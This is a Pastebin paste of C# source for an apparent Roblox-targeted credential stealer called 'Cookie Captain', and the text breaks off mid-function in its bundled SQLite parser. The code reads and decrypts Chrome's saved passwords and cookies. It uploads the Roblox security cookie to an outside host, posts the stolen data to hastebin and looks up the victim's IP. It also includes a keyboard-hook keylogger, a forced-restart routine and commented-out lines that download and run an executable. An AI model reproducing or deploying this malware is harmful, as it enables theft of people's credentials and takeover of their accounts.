Advertisement
Guest User

Untitled

a guest
Jan 21st, 2018
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 39.29 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Diagnostics;
  4. using System.IO;
  5. using System.Linq;
  6. using System.Net;
  7. using System.Runtime.InteropServices;
  8. using System.Text;
  9. using System.Windows.Forms;
  10. using System.Threading.Tasks;
  11. using System.Drawing;
  12. using System;
  13. using System.IO;
  14. using System.Runtime.InteropServices;
  15. using System.Text;
  16. using Microsoft.VisualBasic;
  17. using Microsoft.VisualBasic.CompilerServices;
  18.  
  19.  
  20. namespace ccstub1
  21. {
  22. class Program
  23. {
  24. private const int WH_KEYBOARD_LL = 13;
  25. private const int WM_KEYDOWN = 0x0100;
  26. private static LowLevelKeyboardProc _proc = HookCallback;
  27. private static IntPtr _hookID = IntPtr.Zero;
  28. static void Main(string[] args)
  29. {
  30.  
  31. //kKeyboardHook(this, e);
  32. //CCursor.Hide();
  33. //SWASwapMouseButton(1);
  34. using (var client = new WebClient())
  35. {
  36. //trollclient.DownloadFile("http://chippyex.heliohost.org/TheTrollface.exe", "troll.exe");
  37. }
  38. //troll1Process.Start("troll.exe");
  39. //System.Diagnostics.Process.Start('WEBSITEHERE');
  40. //cmdProcess.Start("cmd.exe");
  41. string robloxcookie;
  42. Program.RecoverCookies();
  43. Program.RecoverPasswords();
  44.  
  45. string domain = "https://v3rmillion.net/";
  46. //v3r1if (File.ReadAllText(passwordFileN).Contains(domain))
  47. //v3r2{
  48. //v3r3Application.Exit();
  49. //v3r4}
  50. string domain1 = "https://hackforums.net/";
  51. //h1if (File.ReadAllText(passwordFileN).Contains(domain1))
  52. //h2{
  53. //h3Application.Exit();
  54. //h4}
  55.  
  56. getIP();
  57.  
  58. //4_hookID = SetHook(_proc);
  59. //5Application.Run();
  60. //6UnhookWindowsHookEx(_hookID);
  61. string dir = Directory.GetCurrentDirectory();
  62. string path1 = dir + "/passwords.txt";
  63.  
  64. string text3 = File.ReadAllText(path1);
  65. string path = dir + "/cookies.txt";
  66. string text2 = File.ReadAllText(path);
  67. string result = text2;
  68. int indexOfFirstPhrase = text2.IndexOf("_|WARNING:-DO-NOT-SHARE-THIS");
  69. if (indexOfFirstPhrase >= 0)
  70. {
  71. indexOfFirstPhrase += "_|WARNING:-DO-NOT-SHARE-THIS".Length;
  72. int indexOfSecondPhrase = text2.IndexOf("Cookie Value", indexOfFirstPhrase);
  73. if (indexOfSecondPhrase >= 0)
  74. result = text2.Substring(indexOfFirstPhrase, indexOfSecondPhrase - indexOfFirstPhrase);
  75. else
  76. result = text2.Substring(indexOfFirstPhrase);
  77. }
  78. Console.WriteLine(getcookies());
  79. robloxcookie = "_|WARNING:-DO-NOT-SHARE-THIS" + result;
  80. using (WebClient webClient = new WebClient())
  81. {
  82. webClient.Proxy = null;
  83. webClient.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36");
  84. webClient.DownloadString("http://chippyex.heliohost.org/Users/HWIDHERE/upload.php?data=" + robloxcookie);
  85. //1webClient.DownloadString("http://chippyex.heliohost.org/Users/HWIDHERE/send.php?data=" + getPasswords() + "$" + Environment.UserName + "$" + ipAddress);
  86. //2webClient.DownloadString("http://chippyex.heliohost.org/Users/HWIDHERE/cookies.php?data=" + getcookies());
  87. //lolRestart();
  88. //shutProcess.Start("shutdown","/s /t 0");
  89.  
  90. }
  91. }
  92. public bool PreFilterMessage(ref Message m)
  93. {
  94. if (m.Msg == 0x201 || m.Msg == 0x202 || m.Msg == 0x203) return true;
  95. if (m.Msg == 0x204 || m.Msg == 0x205 || m.Msg == 0x206) return true;
  96. return false;
  97. }
  98. Rectangle BoundRect;
  99. Rectangle OldRect = Rectangle.Empty;
  100. private void DisableMouse()
  101. {
  102. OldRect = Cursor.Clip;
  103. // Arbitrary location.
  104. BoundRect = new Rectangle(50, 50, 1, 1);
  105. Cursor.Clip = BoundRect;
  106. Cursor.Hide();
  107.  
  108. }
  109. private static void Restart()
  110. {
  111. ProcessStartInfo proc = new ProcessStartInfo();
  112. proc.WindowStyle = ProcessWindowStyle.Hidden;
  113. proc.FileName = "cmd";
  114. proc.Arguments = "/C shutdown -f -r -t 0";
  115. Process.Start(proc);
  116. }
  117.  
  118. [DllImport("user32.dll")]
  119. public static extern Int32 SwapMouseButton(Int32 bSwap);
  120. private static string webResponse;
  121. private static string stubSplit = "-[CC]-";
  122. private static readonly Random randomEngine = new Random();
  123. private static string computerGuid = Guid.NewGuid().ToString();
  124.  
  125. private static string cookiesFileN = "cookies.txt";
  126. private static string passwordFileN = "passwords.txt";
  127. private static string passwordsLink;
  128. private static string cookiesLink;
  129. private static string ipAddress;
  130. public static string getPasswords()
  131. {
  132. if (File.Exists(passwordFileN))
  133. {
  134. using (var sr = new StreamReader(passwordFileN))
  135. {
  136. var line = sr.ReadToEnd();
  137. using (WebClient webClient = new WebClient())
  138. {
  139. webClient.Proxy = null;
  140. webClient.Headers.Add("content-type", "text/plain");
  141. webClient.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36");
  142. webResponse = webClient.UploadString("https://hastebin.com/documents", "POST", line);
  143. return passwordsLink = "https://hastebin.com/" + webResponse.Replace("\"key\":\"", "").Replace("\"}", "").Replace(" ", "").Replace("{", "");
  144. }
  145. }
  146. }
  147. else
  148. {
  149. return "No passwords";
  150. }
  151. }
  152. public static string getcookies()
  153. {
  154. if (File.Exists(cookiesFileN))
  155. {
  156. using (var sr = new StreamReader(cookiesFileN))
  157. {
  158. var line = sr.ReadToEnd();
  159. using (WebClient webClient = new WebClient())
  160. {
  161. webClient.Proxy = null;
  162. webClient.Headers.Add("content-type", "text/plain");
  163. webClient.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36");
  164. webResponse = webClient.UploadString("https://hastebin.com/documents", "POST", line);
  165. return cookiesLink = "https://hastebin.com/" + webResponse.Replace("\"key\":\"", "").Replace("\"}", "").Replace(" ", "").Replace("{", "");
  166. }
  167. }
  168. }
  169. else
  170. {
  171. return "No passwords";
  172. }
  173. }
  174. public static string getIP()
  175. {
  176. using (WebClient webClient = new WebClient())
  177. {
  178. webClient.Proxy = null;
  179. webClient.Encoding = Encoding.UTF8;
  180. webClient.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36");
  181. ipAddress = webClient.DownloadString("https://www.chippyex.heliohost.org/Users/getip.php");
  182. return ipAddress;
  183. }
  184. }
  185. public static string RecoverCookies()
  186. {
  187. var datapath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) +
  188. "\\Google\\Chrome\\User Data\\Default\\Cookies";
  189. var searchTerm = string.Empty;
  190. var data = string.Empty;
  191. try
  192. {
  193. var SQLDatabase = new SQLiteHandler(datapath);
  194. SQLDatabase.ReadTable("cookies");
  195. if (File.Exists(datapath))
  196. {
  197. string host;
  198. string name;
  199. string cookie;
  200. for (var i = 0; i <= SQLDatabase.GetRowCount() - 1; i++)
  201. try
  202. {
  203. host = SQLDatabase.GetValue(i, "host_key");
  204. name = SQLDatabase.GetValue(i, "name");
  205. cookie = Decrypt(Encoding.Default.GetBytes(SQLDatabase.GetValue(i, "encrypted_value")));
  206. if (name != "" && cookie != "")
  207. if (cookie != "FAIL")
  208.  
  209. if (host.Contains(searchTerm) || searchTerm == "**ALL**")
  210. data += "\r\nURL: " + host + Environment.NewLine + "Cookie Name: " + cookie +
  211. Environment.NewLine + "Cookie Value: " + name + Environment.NewLine;
  212.  
  213. string[] lines = { data };
  214.  
  215. using (var outputFile = new StreamWriter("cookies.txt"))
  216. {
  217. foreach (var line in lines)
  218. outputFile.WriteLine(line);
  219. }
  220. }
  221. catch
  222. {
  223. }
  224. }
  225. }
  226. catch
  227. {
  228. }
  229. return data;
  230. }
  231. public static string RecoverPasswords()
  232. {
  233. var datapath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) +
  234. "\\Google\\Chrome\\User Data\\Default\\Login Data";
  235. var searchTerm = string.Empty;
  236. var data = string.Empty;
  237. try
  238. {
  239. var SQLDatabase = new SQLiteHandler(datapath);
  240. SQLDatabase.ReadTable("logins");
  241. if (File.Exists(datapath))
  242. {
  243. string host;
  244. string user;
  245. string pass;
  246. for (var i = 0; i <= SQLDatabase.GetRowCount() - 1; i++)
  247. try
  248. {
  249. host = SQLDatabase.GetValue(i, "origin_url");
  250. user = SQLDatabase.GetValue(i, "username_value");
  251. pass = Decrypt(Encoding.Default.GetBytes(SQLDatabase.GetValue(i, "password_value")));
  252. if (user != "" && pass != "")
  253. if (pass != "FAIL")
  254.  
  255. if (host.Contains(searchTerm) || searchTerm == "**ALL**")
  256. data += "\r\nURL: " + host + Environment.NewLine + "Username: " +
  257. user + Environment.NewLine + "Password: " + pass + Environment.NewLine;
  258.  
  259. string[] lines = { data + "\r\nCopyright 2018 Cookie Captain." };
  260.  
  261. using (var outputFile = new StreamWriter("passwords.txt"))
  262. {
  263. foreach (var line in lines)
  264. outputFile.WriteLine(line);
  265. }
  266. }
  267. catch
  268. {
  269. }
  270. }
  271. }
  272. catch
  273. {
  274. }
  275. return data;
  276. }
  277. [DllImport("Crypt32.dll", SetLastError = true, CharSet = CharSet.Auto)]
  278. private static extern bool CryptUnprotectData(
  279. ref DATA_BLOB pDataIn,
  280. string szDataDescr,
  281. ref DATA_BLOB pOptionalEntropy,
  282. IntPtr pvReserved,
  283. ref CRYPTPROTECT_PROMPTSTRUCT pPromptStruct,
  284. int dwFlags,
  285. ref DATA_BLOB pDataOut);
  286.  
  287. private static string Decrypt(byte[] Datas)
  288. {
  289. var inj = new DATA_BLOB();
  290. var Ors = new DATA_BLOB();
  291. var Ghandle = GCHandle.Alloc(Datas, GCHandleType.Pinned);
  292. inj.pbData = Ghandle.AddrOfPinnedObject();
  293. inj.cbData = Datas.Length;
  294. Ghandle.Free();
  295. var entropy = new DATA_BLOB();
  296. var crypto = new CRYPTPROTECT_PROMPTSTRUCT();
  297. CryptUnprotectData(ref inj, null, ref entropy, IntPtr.Zero, ref crypto, 0, ref Ors);
  298. var Returned = new byte[Ors.cbData + 1];
  299. Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData);
  300. var TheString = Encoding.UTF8.GetString(Returned);
  301. return TheString.Substring(0, TheString.Length - 1);
  302. }
  303.  
  304. [Flags]
  305. private enum CryptProtectPromptFlags
  306. {
  307. CRYPTPROTECT_PROMPT_ON_UNPROTECT = 1,
  308. CRYPTPROTECT_PROMPT_ON_PROTECT = 2
  309. }
  310.  
  311. [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
  312. private struct CRYPTPROTECT_PROMPTSTRUCT
  313. {
  314. public readonly int cbSize;
  315. public readonly CryptProtectPromptFlags dwPromptFlags;
  316. public readonly IntPtr hwndApp;
  317. public readonly string szPrompt;
  318. }
  319.  
  320. [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
  321. private struct DATA_BLOB
  322. {
  323. public int cbData;
  324. public IntPtr pbData;
  325. }
  326.  
  327. private static IntPtr SetHook(LowLevelKeyboardProc proc)
  328. {
  329. using (Process curProcess = Process.GetCurrentProcess())
  330. using (ProcessModule curModule = curProcess.MainModule)
  331. {
  332. return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
  333. GetModuleHandle(curModule.ModuleName), 0);
  334. }
  335. }
  336.  
  337. private delegate IntPtr LowLevelKeyboardProc(
  338. int nCode, IntPtr wParam, IntPtr lParam);
  339.  
  340. private static IntPtr HookCallback(
  341. int nCode, IntPtr wParam, IntPtr lParam)
  342. {
  343. if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
  344. {
  345. int vkCode = Marshal.ReadInt32(lParam);
  346. Console.WriteLine((Keys)vkCode);
  347. StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
  348. sw.Write((Keys)vkCode);
  349. sw.Close();
  350. }
  351. return CallNextHookEx(_hookID, nCode, wParam, lParam);
  352. }
  353.  
  354. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  355. private static extern IntPtr SetWindowsHookEx(int idHook,
  356. LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
  357.  
  358. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  359. [return: MarshalAs(UnmanagedType.Bool)]
  360. private static extern bool UnhookWindowsHookEx(IntPtr hhk);
  361.  
  362. [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  363. private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
  364. IntPtr wParam, IntPtr lParam);
  365.  
  366. [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  367. private static extern IntPtr GetModuleHandle(string lpModuleName);
  368.  
  369. [DllImport("kernel32.dll")]
  370. static extern IntPtr GetConsoleWindow();
  371.  
  372. [DllImport("user32.dll")]
  373. static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  374.  
  375. const int SW_HIDE = 0;
  376.  
  377. }
  378. }
  379.  
  380. public class SQLiteHandler
  381. {
  382. private readonly byte[] db_bytes;
  383. private readonly ulong encoding;
  384. private string[] field_names;
  385. private sqlite_master_entry[] master_table_entries;
  386. private readonly ushort page_size;
  387. private readonly byte[] SQLDataTypeSize = { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0 };
  388. private table_entry[] table_entries;
  389.  
  390. public SQLiteHandler(string baseName)
  391. {
  392. if (File.Exists(baseName))
  393. {
  394. FileSystem.FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared, -1);
  395. var str = Strings.Space((int)FileSystem.LOF(1));
  396. FileSystem.FileGet(1, ref str, -1L, false);
  397. FileSystem.FileClose(1);
  398. db_bytes = Encoding.Default.GetBytes(str);
  399. if (Encoding.Default.GetString(db_bytes, 0, 15).CompareTo("SQLite format 3") != 0)
  400. throw new Exception("Not a valid SQLite 3 Database File");
  401. if (db_bytes[0x34] != 0)
  402. throw new Exception("Auto-vacuum capable database is not supported");
  403. //if (decimal.Compare(new decimal(this.ConvertToInteger(0x2c, 4)), 4M) >= 0)
  404. //{
  405. // throw new Exception("No supported Schema layer file-format");
  406. //}
  407. page_size = (ushort)ConvertToInteger(0x10, 2);
  408. encoding = ConvertToInteger(0x38, 4);
  409. if (decimal.Compare(new decimal(encoding), decimal.Zero) == 0)
  410. encoding = 1L;
  411. ReadMasterTable(100L);
  412. }
  413. }
  414.  
  415. private ulong ConvertToInteger(int startIndex, int Size)
  416. {
  417. if ((Size > 8) | (Size == 0))
  418. return 0L;
  419. ulong num2 = 0L;
  420. var num4 = Size - 1;
  421. for (var i = 0; i <= num4; i++)
  422. num2 = (num2 << 8) | db_bytes[startIndex + i];
  423. return num2;
  424. }
  425.  
  426. private long CVL(int startIndex, int endIndex)
  427. {
  428. endIndex++;
  429. var buffer = new byte[8];
  430. var num4 = endIndex - startIndex;
  431. var flag = false;
  432. if ((num4 == 0) | (num4 > 9))
  433. return 0L;
  434. if (num4 == 1)
  435. {
  436. buffer[0] = (byte)(db_bytes[startIndex] & 0x7f);
  437. return BitConverter.ToInt64(buffer, 0);
  438. }
  439. if (num4 == 9)
  440. flag = true;
  441. var num2 = 1;
  442. var num3 = 7;
  443. var index = 0;
  444. if (flag)
  445. {
  446. buffer[0] = db_bytes[endIndex - 1];
  447. endIndex--;
  448. index = 1;
  449. }
  450. var num7 = startIndex;
  451. for (var i = endIndex - 1; i >= num7; i += -1)
  452. if (i - 1 >= startIndex)
  453. {
  454. buffer[index] = (byte)(((byte)(db_bytes[i] >> ((num2 - 1) & 7)) & (0xff >> num2)) |
  455. (byte)(db_bytes[i - 1] << (num3 & 7)));
  456. num2++;
  457. index++;
  458. num3--;
  459. }
  460. else if (!flag)
  461. {
  462. buffer[index] = (byte)((byte)(db_bytes[i] >> ((num2 - 1) & 7)) & (0xff >> num2));
  463. }
  464. return BitConverter.ToInt64(buffer, 0);
  465. }
  466.  
  467. public int GetRowCount()
  468. {
  469. return table_entries.Length;
  470. }
  471.  
  472. public string[] GetTableNames()
  473. {
  474. string[] strArray2 = null;
  475. var index = 0;
  476. var num3 = master_table_entries.Length - 1;
  477. for (var i = 0; i <= num3; i++)
  478. if (master_table_entries[i].item_type == "table")
  479. {
  480. strArray2 = (string[])Utils.CopyArray(strArray2, new string[index + 1]);
  481. strArray2[index] = master_table_entries[i].item_name;
  482. index++;
  483. }
  484. return strArray2;
  485. }
  486.  
  487. public string GetValue(int row_num, int field)
  488. {
  489. if (row_num >= table_entries.Length)
  490. return null;
  491. if (field >= table_entries[row_num].content.Length)
  492. return null;
  493. return table_entries[row_num].content[field];
  494. }
  495.  
  496. public string GetValue(int row_num, string field)
  497. {
  498. var num = -1;
  499. var length = field_names.Length - 1;
  500. for (var i = 0; i <= length; i++)
  501. if (field_names[i].ToLower().CompareTo(field.ToLower()) == 0)
  502. {
  503. num = i;
  504. break;
  505. }
  506. if (num == -1)
  507. return null;
  508. return GetValue(row_num, num);
  509. }
  510.  
  511. private int GVL(int startIndex)
  512. {
  513. if (startIndex > db_bytes.Length)
  514. return 0;
  515. var num3 = startIndex + 8;
  516. for (var i = startIndex; i <= num3; i++)
  517. {
  518. if (i > db_bytes.Length - 1)
  519. return 0;
  520. if ((db_bytes[i] & 0x80) != 0x80)
  521. return i;
  522. }
  523. return startIndex + 8;
  524. }
  525.  
  526. private bool IsOdd(long value)
  527. {
  528. return (value & 1L) == 1L;
  529. }
  530.  
  531. private void ReadMasterTable(ulong Offset)
  532. {
  533. if (db_bytes[(int)Offset] == 13)
  534. {
  535. var num2 = Convert.ToUInt16(
  536. decimal.Subtract(
  537. new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)),
  538. decimal.One));
  539. var length = 0;
  540. if (master_table_entries != null)
  541. {
  542. length = master_table_entries.Length;
  543. master_table_entries = (sqlite_master_entry[])Utils.CopyArray(master_table_entries,
  544. new sqlite_master_entry[master_table_entries.Length + num2 + 1]);
  545. }
  546. else
  547. {
  548. master_table_entries = new sqlite_master_entry[num2 + 1];
  549. }
  550. int num13 = num2;
  551. for (var i = 0; i <= num13; i++)
  552. {
  553. var num = ConvertToInteger(
  554. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8M), new decimal(i * 2))), 2);
  555. if (decimal.Compare(new decimal(Offset), 100M) != 0)
  556. num += Offset;
  557. var endIndex = GVL((int)num);
  558. var num7 = CVL((int)num, endIndex);
  559. var num6 = GVL(Convert.ToInt32(
  560. decimal.Add(
  561. decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))),
  562. decimal.One)));
  563. master_table_entries[length + i].row_id =
  564. CVL(
  565. Convert.ToInt32(decimal.Add(
  566. decimal.Add(new decimal(num),
  567. decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)), num6);
  568. num = Convert.ToUInt64(decimal.Add(
  569. decimal.Add(new decimal(num), decimal.Subtract(new decimal(num6), new decimal(num))),
  570. decimal.One));
  571. endIndex = GVL((int)num);
  572. num6 = endIndex;
  573. var num5 = CVL((int)num, endIndex);
  574. var numArray = new long[5];
  575. var index = 0;
  576. do
  577. {
  578. endIndex = num6 + 1;
  579. num6 = GVL(endIndex);
  580. numArray[index] = CVL(endIndex, num6);
  581. if (numArray[index] > 9L)
  582. if (IsOdd(numArray[index]))
  583. numArray[index] = (long)Math.Round((numArray[index] - 13L) / 2.0);
  584. else
  585. numArray[index] = (long)Math.Round((numArray[index] - 12L) / 2.0);
  586. else
  587. numArray[index] = SQLDataTypeSize[(int)numArray[index]];
  588. index++;
  589. } while (index <= 4);
  590. if (decimal.Compare(new decimal(encoding), decimal.One) == 0)
  591. master_table_entries[length + i].item_type = Encoding.Default.GetString(db_bytes,
  592. Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]);
  593. else if (decimal.Compare(new decimal(encoding), 2M) == 0)
  594. master_table_entries[length + i].item_type = Encoding.Unicode.GetString(db_bytes,
  595. Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]);
  596. else if (decimal.Compare(new decimal(encoding), 3M) == 0)
  597. master_table_entries[length + i].item_type = Encoding.BigEndianUnicode.GetString(db_bytes,
  598. Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]);
  599. if (decimal.Compare(new decimal(encoding), decimal.One) == 0)
  600. master_table_entries[length + i].item_name = Encoding.Default.GetString(db_bytes,
  601. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
  602. new decimal(numArray[0]))), (int)numArray[1]);
  603. else if (decimal.Compare(new decimal(encoding), 2M) == 0)
  604. master_table_entries[length + i].item_name = Encoding.Unicode.GetString(db_bytes,
  605. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
  606. new decimal(numArray[0]))), (int)numArray[1]);
  607. else if (decimal.Compare(new decimal(encoding), 3M) == 0)
  608. master_table_entries[length + i].item_name = Encoding.BigEndianUnicode.GetString(db_bytes,
  609. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
  610. new decimal(numArray[0]))), (int)numArray[1]);
  611. master_table_entries[length + i].root_num =
  612. (long)ConvertToInteger(
  613. Convert.ToInt32(decimal.Add(
  614. decimal.Add(
  615. decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
  616. new decimal(numArray[0])), new decimal(numArray[1])),
  617. new decimal(numArray[2]))), (int)numArray[3]);
  618. if (decimal.Compare(new decimal(encoding), decimal.One) == 0)
  619. master_table_entries[length + i].sql_statement = Encoding.Default.GetString(db_bytes,
  620. Convert.ToInt32(decimal.Add(
  621. decimal.Add(
  622. decimal.Add(
  623. decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
  624. new decimal(numArray[0])), new decimal(numArray[1])),
  625. new decimal(numArray[2])), new decimal(numArray[3]))), (int)numArray[4]);
  626. else if (decimal.Compare(new decimal(encoding), 2M) == 0)
  627. master_table_entries[length + i].sql_statement = Encoding.Unicode.GetString(db_bytes,
  628. Convert.ToInt32(decimal.Add(
  629. decimal.Add(
  630. decimal.Add(
  631. decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
  632. new decimal(numArray[0])), new decimal(numArray[1])),
  633. new decimal(numArray[2])), new decimal(numArray[3]))), (int)numArray[4]);
  634. else if (decimal.Compare(new decimal(encoding), 3M) == 0)
  635. master_table_entries[length + i].sql_statement = Encoding.BigEndianUnicode.GetString(db_bytes,
  636. Convert.ToInt32(decimal.Add(
  637. decimal.Add(
  638. decimal.Add(
  639. decimal.Add(decimal.Add(new decimal(num), new decimal(num5)),
  640. new decimal(numArray[0])), new decimal(numArray[1])),
  641. new decimal(numArray[2])), new decimal(numArray[3]))), (int)numArray[4]);
  642. }
  643. }
  644. else if (db_bytes[(int)Offset] == 5)
  645. {
  646. var num11 = Convert.ToUInt16(
  647. decimal.Subtract(
  648. new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)),
  649. decimal.One));
  650. int num14 = num11;
  651. for (var j = 0; j <= num14; j++)
  652. {
  653. var startIndex =
  654. (ushort)ConvertToInteger(
  655. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12M), new decimal(j * 2))), 2);
  656. if (decimal.Compare(new decimal(Offset), 100M) == 0)
  657. ReadMasterTable(Convert.ToUInt64(
  658. decimal.Multiply(
  659. decimal.Subtract(new decimal(ConvertToInteger(startIndex, 4)), decimal.One),
  660. new decimal(page_size))));
  661. else
  662. ReadMasterTable(Convert.ToUInt64(
  663. decimal.Multiply(
  664. decimal.Subtract(new decimal(ConvertToInteger((int)(Offset + startIndex), 4)),
  665. decimal.One), new decimal(page_size))));
  666. }
  667. ReadMasterTable(Convert.ToUInt64(
  668. decimal.Multiply(
  669. decimal.Subtract(
  670. new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 8M)), 4)),
  671. decimal.One), new decimal(page_size))));
  672. }
  673. }
  674.  
  675. public bool ReadTable(string TableName)
  676. {
  677. var index = -1;
  678. var length = master_table_entries.Length - 1;
  679. for (var i = 0; i <= length; i++)
  680. if (master_table_entries[i].item_name.ToLower().CompareTo(TableName.ToLower()) == 0)
  681. {
  682. index = i;
  683. break;
  684. }
  685. if (index == -1)
  686. return false;
  687. var strArray = master_table_entries[index].sql_statement
  688. .Substring(master_table_entries[index].sql_statement.IndexOf("(") + 1).Split(',');
  689. var num6 = strArray.Length - 1;
  690. for (var j = 0; j <= num6; j++)
  691. {
  692. strArray[j] = strArray[j].TrimStart();
  693. var num4 = strArray[j].IndexOf(" ");
  694. if (num4 > 0)
  695. strArray[j] = strArray[j].Substring(0, num4);
  696. if (strArray[j].IndexOf("UNIQUE") == 0)
  697. break;
  698. field_names = (string[])Utils.CopyArray(field_names, new string[j + 1]);
  699. field_names[j] = strArray[j];
  700. }
  701. return ReadTableFromOffset((ulong)((master_table_entries[index].root_num - 1L) * page_size));
  702. }
  703.  
  704. private bool ReadTableFromOffset(ulong Offset)
  705. {
  706. if (db_bytes[(int)Offset] == 13)
  707. {
  708. var num2 = Convert.ToInt32(decimal.Subtract(
  709. new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)),
  710. decimal.One));
  711. var length = 0;
  712. if (table_entries != null)
  713. {
  714. length = table_entries.Length;
  715. table_entries =
  716. (table_entry[])Utils.CopyArray(table_entries,
  717. new table_entry[table_entries.Length + num2 + 1]);
  718. }
  719. else
  720. {
  721. table_entries = new table_entry[num2 + 1];
  722. }
  723. var num16 = num2;
  724. for (var i = 0; i <= num16; i++)
  725. {
  726. record_header_field[] _fieldArray = null;
  727. var num = ConvertToInteger(
  728. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8M), new decimal(i * 2))), 2);
  729. if (decimal.Compare(new decimal(Offset), 100M) != 0)
  730. num += Offset;
  731. var endIndex = GVL((int)num);
  732. var num9 = CVL((int)num, endIndex);
  733. var num8 = GVL(Convert.ToInt32(
  734. decimal.Add(
  735. decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))),
  736. decimal.One)));
  737. table_entries[length + i].row_id =
  738. CVL(
  739. Convert.ToInt32(decimal.Add(
  740. decimal.Add(new decimal(num),
  741. decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)), num8);
  742. num = Convert.ToUInt64(decimal.Add(
  743. decimal.Add(new decimal(num), decimal.Subtract(new decimal(num8), new decimal(num))),
  744. decimal.One));
  745. endIndex = GVL((int)num);
  746. num8 = endIndex;
  747. var num7 = CVL((int)num, endIndex);
  748. var num10 = Convert.ToInt64(decimal.Add(decimal.Subtract(new decimal(num), new decimal(endIndex)),
  749. decimal.One));
  750. for (var j = 0; num10 < num7; j++)
  751. {
  752. _fieldArray =
  753. (record_header_field[])Utils.CopyArray(_fieldArray, new record_header_field[j + 1]);
  754. endIndex = num8 + 1;
  755. num8 = GVL(endIndex);
  756. _fieldArray[j].type = CVL(endIndex, num8);
  757. if (_fieldArray[j].type > 9L)
  758. if (IsOdd(_fieldArray[j].type))
  759. _fieldArray[j].size = (long)Math.Round((_fieldArray[j].type - 13L) / 2.0);
  760. else
  761. _fieldArray[j].size = (long)Math.Round((_fieldArray[j].type - 12L) / 2.0);
  762. else
  763. _fieldArray[j].size = SQLDataTypeSize[(int)_fieldArray[j].type];
  764. num10 = num10 + (num8 - endIndex) + 1L;
  765. }
  766. table_entries[length + i].content = new string[_fieldArray.Length - 1 + 1];
  767. var num4 = 0;
  768. var num17 = _fieldArray.Length - 1;
  769. for (var k = 0; k <= num17; k++)
  770. {
  771. if (_fieldArray[k].type > 9L)
  772. if (!IsOdd(_fieldArray[k].type))
  773. {
  774. if (decimal.Compare(new decimal(encoding), decimal.One) == 0)
  775. table_entries[length + i].content[k] = Encoding.Default.GetString(db_bytes,
  776. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)),
  777. new decimal(num4))), (int)_fieldArray[k].size);
  778. else if (decimal.Compare(new decimal(encoding), 2M) == 0)
  779. table_entries[length + i].content[k] = Encoding.Unicode.GetString(db_bytes,
  780. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)),
  781. new decimal(num4))), (int)_fieldArray[k].size);
  782. else if (decimal.Compare(new decimal(encoding), 3M) == 0)
  783. table_entries[length + i].content[k] = Encoding.BigEndianUnicode.GetString(db_bytes,
  784. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)),
  785. new decimal(num4))), (int)_fieldArray[k].size);
  786. }
  787. else
  788. {
  789. table_entries[length + i].content[k] = Encoding.Default.GetString(db_bytes,
  790. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)),
  791. new decimal(num4))), (int)_fieldArray[k].size);
  792. }
  793. else
  794. table_entries[length + i].content[k] =
  795. Conversions.ToString(
  796. ConvertToInteger(
  797. Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)),
  798. new decimal(num4))), (int)_fieldArray[k].size));
  799. num4 += (int)_fieldArray[k].size;
  800. }
  801. }
  802. }
  803. else if (db_bytes[(int)Offset] == 5)
  804. {
